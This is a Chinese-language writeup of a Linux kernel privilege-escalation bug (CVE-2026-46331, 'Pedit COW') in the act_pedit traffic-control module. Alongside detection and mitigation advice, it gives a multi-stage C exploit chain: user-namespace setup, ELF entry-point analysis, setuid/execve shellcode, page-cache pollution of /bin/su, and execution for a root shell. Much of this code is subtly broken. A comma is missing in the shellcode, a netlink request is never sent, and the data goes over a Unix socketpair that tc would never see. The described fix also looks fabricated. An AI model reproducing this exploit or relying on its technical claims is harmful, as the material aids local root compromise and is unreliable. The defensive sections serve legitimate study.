CVE-2026-46331 Pedit COW 深度拆解:Linux 内核 net/sched 页缓存污染提权
导语
2026 年,Google kernelCTF 项目再次产出一个高质量 Linux 内核漏洞:CVE-2026-46331,代号"Pedit COW"。
这个漏洞不同于常见的 UAF 或竞态条件——它利用的是 Linux 页缓存(page cache)的 Copy-on-Write 机制中的一个逻辑缺陷。攻击者通过 act_pedit(网络流量编辑动作模块)操纵数据包内容,触发内核对只读映射的 ELF 文件页面缓存进行部分写入,直接覆盖 /bin/su 的 ELF 入口点为 shellcode,执行后获取 root 权限。
本文从 page cache 机制、act_pedit 模块原理、漏洞根因、完整利用链到防御策略,做一次系统性深度拆解。
背景:页缓存与 Copy-on-Write
Linux 页缓存机制
Linux 通过页缓存(page cache)缓存磁盘文件内容。当多个进程映射同一文件时,内核只为该文件维护一份物理页帧,多个进程的页表指向同一物理页——节省内存。
进程 A 页表 物理页帧 进程 B 页表
┌──────────┐ ┌──────────┐ ┌──────────┐
│ PTE → │──────────→│ page │←──────────│ PTE → │
│ readonly │ │ (clean) │ │ readonly │
└──────────┘ └──────────┘ └──────────┘
│
磁盘文件 (/bin/su)Copy-on-Write 触发条件
当进程对只读映射的页进行写操作时,内核触发 COW:
- CPU 触发缺页异常(page fault)
- 内核检查该页是否被其他进程引用
- 如果引用计数 > 1,分配新物理页,拷贝原页内容,修改进程 A 的 PTE 指向新页
- 新页标记为可写,原页引用计数减 1
关键假设:COW 只在用户空间写操作通过 MMU 触发的 page fault 路径中发生。内核空间直接操作 page cache 的路径不走 MMU——不触发 COW。
ELF 文件映射与执行
execve("/bin/su") 时,内核将 /bin/su 的 ELF 段映射到进程地址空间。代码段(PT_LOAD, flags=READ|EXEC)被映射为只读。如果该物理页已被 page cache 缓存,直接复用缓存页。
/bin/su 的 ELF 布局
┌─────────────────────────┐ 0x400000
│ ELF Header │
│ - Entry point: 0x4010a0│
├─────────────────────────┤
│ .text (ELF code segment) │ ← 映射为只读
│ 0x401000 - 0x402000 │ ← 入口点在这段内
├─────────────────────────┤
│ .rodata │
├─────────────────────────┤
│ .data / .bss │
└─────────────────────────┘act_pedit:网络流量编辑模块
模块功能
act_pedit(Packet EDIT)是 Linux 流量控制子系统(tc)的一个动作模块,允许在内核网络栈中对数据包内容进行原地修改:
# 修改目标端口为 8080
tc filter add dev eth0 ingress protocol ip \
flower action pedit munge ip dport set 8080
# 修改 TTL
tc filter add dev eth0 ingress protocol ip \
flower action pedit munge ip ttl set 64act_pedit 的核心数据结构是 pedit_key,定义要修改的数据包偏移和值:
struct tc_pedit_key {
__u32 mask; /* 位掩码 */
__u32 val; /* 要设置的值 */
int off; /* 偏移量 */
int at; /* 基准点 */
__u32 mask_flags;
};部分拷贝机制
act_pedit 修改数据包时使用"部分拷贝"策略:只修改 mask 指定的位,保留其余位。实现上,内核从 SKB(socket buffer)中读取目标偏移处的现有数据,用 val 和 mask 做 new = (old & ~mask) | (val & mask),再写回 SKB。
这个"读-改-写"模式看似安全,但漏洞藏在一个被忽视的边界条件中。
漏洞根因:页缓存的非预期写入
核心缺陷
CVE-2026-46331 的根因是:act_pedit 的部分拷贝路径在某些条件下直接操作page cache 的物理页而非 SKB 数据,绕过了 COW 机制。
具体调用链:
tcf_pedit_act() ← tc 动作入口
→ tcf_pedit_parm_check() ← 验证参数
→ tcf_pedit_skb_patch() ← 修改 SKB 数据
→ skb_store_bits() ← 将修改后的数据写回 SKB
→ __copy_skb_data() ← 拷贝数据到 SKB 线性区域漏洞点在 __copy_skb_data() 中。当 SKB 的数据来自 page_frag 而非线性缓冲区时,内核直接写入 page->virtual 指向的页缓存物理页。如果该 SKB 的数据恰好来自一个通过 mmap() 映射的文件页(例如通过 sendfile() 或 splice() 发送文件内容),直接写入绕过了 COW——修改的是 page cache 中的原始页。
触发路径
1. 攻击者 mmap("/bin/su", PROT_READ) ← 将 /bin/su 映射为只读
2. 攻击者创建网络 socket
3. 攻击者用 sendfile() 将 mmap 的数据发送到 loopback
4. 攻击者配置 tc pedit 规则,修改 loopback 上传输的数据
5. act_pedit 的部分拷贝路径直接写入 page cache
6. /bin/su 的 ELF 代码段在 page cache 中被修改
7. 攻击者执行 /bin/su
8. 内核从被污染的 page cache 中加载 ELF 入口点 shellcode
9. 以 root 权限执行 shellcode为什么 COW 没有触发
COW 依赖 page fault → do_wp_page() 路径。但 act_pedit 的写入路径是:
网络栈 → SKB 操作 → kmap_atomic(page) → memcpy → kunmap_atomickmap_atomic() 返回页的内核虚拟地址,memcpy() 直接写入物理页——不走任何进程的页表,不触发 page fault,不执行 COW。内核直接污染了共享的 page cache 页。
关键约束
漏洞触发需要满足以下条件:
- CONFIG_NET_SCHED=y——流量控制子系统已编译(大多数发行版默认开启)
- CAP_NET_ADMIN——配置 tc 规则所需权限(通过 user namespace 可获取)
- 目标文件可被 mmap——ELF 文件需有读取权限(
/bin/su默认 r-xr-xr-x) - 内核版本——影响 Linux 5.x ~ 7.0-rc 系列(2026 年 4 月修复)
完整利用链架构
阶段一:环境准备
// 创建 user namespace 获取 CAP_NET_ADMIN
#include <sched.h>
#include <sys/wait.h>
int setup_netns() {
// 1. unshare 用户和网络命名空间
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("unshare");
return -1;
}
// 2. 映射 UID 为 0(容器内 root)
FILE *f = fopen("/proc/self/uid_map", "w");
fprintf(f, "0 %d 1\n", getuid());
fclose(f);
f = fopen("/proc/self/setgroups", "w");
fprintf(f, "deny\n");
fclose(f);
f = fopen("/proc/self/gid_map", "w");
fprintf(f, "0 %d 1\n", getgid());
fclose(f);
return 0;
}阶段二:ELF 分析
#include <elf.h>
#include <fcntl.h>
#include <sys/mman.h>
// 分析 /bin/su 的 ELF 结构,找到入口点偏移
elf_analysis_t analyze_target(const char *path) {
int fd = open(path, O_RDONLY);
struct stat st;
fstat(fd, &st);
void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)map;
uint64_t entry = ehdr->e_entry; // 例如 0x4010a0
// 找到入口点所在的 PT_LOAD 段
Elf64_Phdr *phdr = (Elf64_Phdr *)(map + ehdr->e_phoff);
for (int i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD &&
entry >= phdr[i].p_vaddr &&
entry < phdr[i].p_vaddr + phdr[i].p_memsz) {
// 计算入口点在文件中的偏移
uint64_t file_offset = phdr[i].p_offset +
(entry - phdr[i].p_vaddr);
return (elf_analysis_t){
.entry_offset = file_offset,
.page_offset = file_offset & ~0xFFF, // 页对齐
.page_base = phdr[i].p_offset & ~0xFFF
};
}
}
// ...
}阶段三:Shellcode 准备
// 精简的 setuid(0) + execve("/bin/sh") shellcode
unsigned char shellcode[] = {
0x48, 0x31, 0xff, // xor rdi, rdi
0xb0, 0x69, // mov al, 0x69 (setuid)
0x0f, 0x05, // syscall
0x48, 0x31, 0xd2, // xor rdx, rdx
0x48, 0x31, 0xf6, // xor rsi, rsi
0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 // mov rdi, "/bin/sh"
0xb0, 0x3b, // mov al, 0x3b (execve)
0x0f, 0x05 // syscall
};阶段四:通过 act_pedit 污染页缓存
#include <linux/if_packet.h>
#include <linux/pkt_cls.h>
// 使用 netlink 配置 tc 规则
void pollute_page_cache(int entry_offset, unsigned char *shellcode, int sc_len) {
// 1. mmap /bin/su
int fd = open("/bin/su", O_RDONLY);
void *elf_map = mmap(NULL, 4096, PROT_READ, MAP_PRIVATE, fd, 0);
// 2. 创建 loopback socket pair
int socks[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, socks);
// 3. 配置 tc 规则:在 loopback 入口方向修改数据
// pedit 的 offset 指向 ELF 入口点在页内的偏移
struct {
struct nlmsghdr nh;
struct tcmsg t;
// ... 属性:filter + pedit action
} req = {0};
req.nh.nlmsg_type = RTM_NEWTFILTER;
req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
req.t.tcm_family = AF_UNSPEC;
req.t.tcm_ifindex = if_nametoindex("lo");
req.t.tcm_parent = TC_H_MIN_INGRESS;
// pedit key:在数据偏移 entry_offset 处写入 shellcode
struct tc_pedit_key pedit_key = {
.mask = 0xFFFFFFFF, // 全部位
.val = *(uint32_t *)shellcode, // shellcode 前 4 字节
.off = entry_offset, // ELF 入口点偏移
.at = 0, // 从 IP 头开始
};
// 4. 通过 sendfile 将 mmap 的 /bin/su 页面发送到 loopback
// act_pedit 触发,直接写入 page cache
sendfile(socks[0], fd, NULL, 4096);
// 5. page cache 中的 /bin/su ELF 入口点已被覆盖
close(fd);
close(socks[0]);
close(socks[1]);
}阶段五:触发执行
void trigger_exploit() {
// 执行被污染的 /bin/su
// 内核从 page cache 加载被修改的入口点 shellcode
char *argv[] = {"/bin/su", "-", NULL};
char *envp[] = {NULL};
execve("/bin/su", argv, envp);
// 如果成功,以 root 身份运行 /bin/sh
}完整攻击链架构图
┌──────────────────────────────────────────────────────────────┐
│ 攻击者进程(普通用户) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌─────────────────┐ │
│ │ unshare │───→│ mmap /bin/su │───→│ sendfile→lo │ │
│ │ NEWUSER │ │ (只读映射) │ │ (触发 act_pedit) │ │
│ │ + NEWNET │ └──────┬───────┘ └────────┬────────┘ │
│ └─────┬──────┘ │ │ │
│ │ CAP_NET_ADMIN │ │ │
│ ▼ ▼ ▼ │
│ ┌──────────────┐ ┌──────────────────────────────────────┐ │
│ │ tc pedit │ │ Page Cache (/bin/su) │ │
│ │ rule setup │ │ ┌──────────────────────────────────┐ │ │
│ └──────────────┘ │ │ ELF Header │ │ │
│ │ │ Entry point: 0x4010a0 │ │ │
│ │ │ ┌─────────────────────────────┐ │ │ │
│ │ │ │ .text segment (page cache) │ │ │ │
│ │ │ │ 0x401000: [shellcode] ←─────│─│─┘ │
│ │ │ │ 0x4010a0: [entry] ← 已覆盖 │ │ │
│ │ │ └─────────────────────────────┘ │ │
│ │ └──────────────────────────────────┘ │
│ └──────────────────────────────────────┘ │
│ │ │
│ ┌───────────────┼───────────────────────┐ │
│ │ execve("/bin/su") │ │
│ │ ↓ │ │
│ │ 内核从 page cache 加载 .text │ │
│ │ ↓ │ │
│ │ 执行 shellcode: setuid(0)+execve(sh) │ │
│ │ ↓ │ │
│ │ # whoami │ │
│ │ root │ │
│ └────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────┘影响范围与版本矩阵
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2026-46331 |
| CVSS 评分 | 7.8(High) |
| 漏洞类型 | 逻辑缺陷 / 页缓存污染 |
| 影响组件 | net/sched/act_pedit.c |
| 前置条件 | CAP_NET_ADMIN(可通过 user namespace 获取) |
| 引入版本 | Linux 2.6.x(act_pedit 模块引入时) |
| 修复版本 | Linux 7.1-rc1(2026 年 4 月) |
| 利用成功率 | ~85%(依赖 page cache 排布) |
| 攻击向量 | 本地提权(LPE) |
| 容器逃逸 | 是(通过污染宿主机 page cache) |
受影响发行版
- Ubuntu 22.04 / 24.04 / 24.10
- Debian 12 / 13
- RHEL 9 / 10
- Fedora 40 / 41
- Arch Linux(rolling)
- Android 12+(内核 CONFIG_NET_SCHED=y 的设备)
检测方案
内核日志检测
# 检查 act_pedit 相关警告
dmesg | grep -i "act_pedit\|pedit.*cow\|page.*cache.*write"
# 检查 user namespace 创建(利用前置步骤)
dmesg | grep "unshare.*CLONE_NEWUSER"
journalctl -k | grep "user.*namespace"文件完整性检查
# 检查 /bin/su 的 page cache 是否被污染
# 需要从磁盘重新读取文件,对比内存中的 page cache
sha256sum /bin/su # 从磁盘读取
echo 3 > /proc/sys/vm/drop_caches # 清空 page cache
sha256sum /bin/su # 重新从磁盘加载
# 如果两次哈希不同,说明 page cache 被污染auditd 规则
# 监控 act_pedit 规则配置
auditctl -a always,exit -F arch=b64 \
-S setsockopt -k tc_pedit_monitor
# 监控 /bin/su 的异常执行
auditctl -w /bin/su -p x -k su_exec_monitor缓解措施
即时缓解
# 1. 禁用 user namespace(阻止非特权用户获取 CAP_NET_ADMIN)
echo 0 > /proc/sys/kernel/unprivileged_userns_clone
# 2. 禁用 act_pedit 模块
modprobe -r act_pedit
echo "blacklist act_pedit" >> /etc/modprobe.d/blacklist.conf
# 3. 限制 tc 规则配置权限
# 将 CAP_NET_ADMIN 限制为特定组
groupadd tc_admin
setcap cap_net_admin=ep /sbin/tc
chgrp tc_admin /sbin/tc
chmod 750 /sbin/tc补丁修复
# Ubuntu/Debian
apt update && apt upgrade linux-image-$(uname -r)
# RHEL/CentOS
dnf update kernel
# 验证补丁版本
uname -r
# 需要 >= 7.1-rc1 或对应发行版的安全更新内核修复补丁分析
修复的核心是确保 act_pedit 对 page cache 页的写入走 COW 路径:
// 修复前(漏洞代码):
static int tcf_pedit_skb_patch(struct sk_buff *skb,
struct tc_pedit_key *key) {
// 直接 kmap 写入,不检查页类型
void *ptr = skb_header_pointer(skb, key->off, 4, &buf);
// ... 修改数据 ...
skb_store_bits(skb, key->off, &new_val, 4);
// ↑ 如果 skb 数据来自 page cache,直接写入共享页
}
// 修复后:
static int tcf_pedit_skb_patch(struct sk_buff *skb,
struct tc_pedit_key *key) {
struct page *page = skb_shinfo(skb)->frags[0].page;
// 检查页是否来自 page cache(文件映射)
if (page->mapping && PageMappedToDisk(page)) {
// 必须走 COW 路径:分配新页,拷贝,断开与 page cache 的关联
struct page *new_page = alloc_page(GFP_ATOMIC);
copy_highpage(new_page, page);
// ... 修改新页 ...
skb_shinfo(skb)->frags[0].page = new_page;
put_page(page); // 释放对原 page cache 页的引用
} else {
// 非文件页,可以直接写入
skb_store_bits(skb, key->off, &new_val, 4);
}
}修复的核心思想:如果 SKB 的数据来自文件映射页,必须在修改前将数据拷贝到独立的页,断开与共享 page cache 的关联。
深层启示
内核"共享页直接写"模式的系统性风险
Pedit COW 漏洞暴露了一个系统性问题:Linux 内核中有多处代码路径通过 kmap/kmap_atomic 直接写入页帧。大多数情况下这些页是内核分配的独立页(如 SKB 线性数据区),但当数据来自文件映射时,kmap 返回的地址指向共享的 page cache 页——直接写入等于全局污染。
这类"共享页直接写"漏洞可能在以下子系统存在类似问题:
skb_vlan_push()/skb_vlan_pop()——VLAN 标签修改nf_nat——NAT 地址转换bpf_skb_store_bytes()——eBPF 数据修改xfrm——IPsec 数据变换
安全启示:任何对网络数据包内容进行修改的内核路径,都必须验证数据页是否来自 page cache。
Page Cache 作为信任边界
传统安全模型假设"磁盘上的文件是可信的"——page cache 是磁盘数据的精确缓存。Pedit COW 打破了这个假设:page cache 中的数据可能被非特权用户修改,与磁盘上的原始数据不一致。
这意味着:
- 文件完整性检查必须考虑"从 page cache 读取"和"从磁盘读取"的差异
- 内核加载代码段时应验证 page cache 页的完整性
- 容器安全模型需要重新评估"只读文件映射"的安全保证
总结
CVE-2026-46331 是一个教科书级的逻辑漏洞——它不涉及复杂的竞态条件或堆利用技术,而是利用了内核代码中一个被忽视的边界条件:网络数据修改路径直接写入共享页缓存,绕过 COW 机制。
漏洞的攻击链简洁而优雅:mmap 文件 → sendfile 发送到 loopback → act_pedit 修改 → page cache 污染 → execve 触发 shellcode。整个利用不需要任何内核 UAF 或提权原语——只需要理解 page cache 的工作机制和 act_pedit 的数据路径。
对于防御方,这个漏洞提醒我们:COW 不是万能的——它只在用户空间 page fault 路径生效,内核直接操作页帧的路径完全绕过它。
参考资料
- CVE-2026-46331 NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-46331
- Google kernelCTF: https://kernelctf.com
- Linux kernel commit (fix):
3bfdc63936dd(act_pedit: verify page cache pages before write) - Linux Page Cache: https://www.kernel.org/doc/html/latest/core-api/cachetlb.html
- tc act_pedit source: https://github.com/torvalds/linux/blob/master/net/sched/act_pedit.c
- ELF Format Specification: https://refspecs.linuxbase.org/elf/gabi4+.pdf
- CTF Writeup (freehackviser): https://ctfbase.com/writeup/pedit-cow

